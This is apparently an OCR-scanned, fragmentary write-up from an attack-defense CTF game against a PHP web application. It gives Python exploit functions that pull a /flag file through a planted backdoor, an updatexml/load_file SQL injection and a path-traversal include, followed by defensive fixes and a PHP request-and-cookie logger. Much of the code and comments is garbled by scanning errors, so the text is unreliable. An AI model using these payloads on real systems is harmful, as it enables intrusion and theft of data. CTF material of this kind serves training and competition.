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def backdoor(host):

r = requests.post(url="http://%s/Upload/index.php"%host,data=
{"abcde10db05bd4f6a24c94d7edded441d18545" "print(">>>"file_get_contents('/flag’).'<<

flags = re.findall(r'’>>>(.+?7)<<
if flags:

return flags[O]

else:

return "error pwn!"
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def sqli(host):

1 r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"|| (SELECT
updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||"™,"password":"pwd123"})

flags = re.findall(r'~(.+7?)~',r.content)

if flags:

return flags[0]

else:

return "error pwn!"
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$oStmt = $this->oDb->prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");
$oStmt->execute($sEmail);
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$sTemplatePath, Tj:

$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];
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def include(host):

r = requests.get(url="http://%s/?t=../../..1..]..1../flag"%host)
flags = re.findall(r';(.+7?)

if flags:

return flags[0]

else:

return "error pwn!"
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$sTemplatePath = str_replace(array(“.”,”V"), “”, $sTemplatePath);
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tcpdump —s 0 —w flow.pcap port
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date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER['REMOTE_ADDR"]; //i}i 1] IP

$filename = $_SERVER['PHP_SELF]; /35 ia i 3¢ 14
$parameter = $§ SERVER['QUERY_STRING"; /2 #1 i 7 4F &

$method = $_SERVER['REQUEST_METHODY; //#& K 5%

$time = date('Y-m-d H:i:s' time()); /3% R it 8]

$post = file_get_contents("php://input",'r'); /8 POST % #

$0thers = Prkkkdkkkdkkdhkdhhbkhhkbhrdhhdhbhkdhrdhbdhhbhrbhrdhhdrbhrdhhdrdhrdhrdrrdrrr.
)

$logadd = "5l Ef[a]: ".$time." V5 i 1P $ip.E R A ¥E: Smethod.' ViR EERE: .$filename.'?". $parameter."\r\n";...
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$th = fopen("log.txt", "a");

fwrite($fh, $logadd);

fwrite($fh,print_r($_COOKIE, true)."\r\n");

fwrite($fh,$others."\r\n");

fclose($fh);
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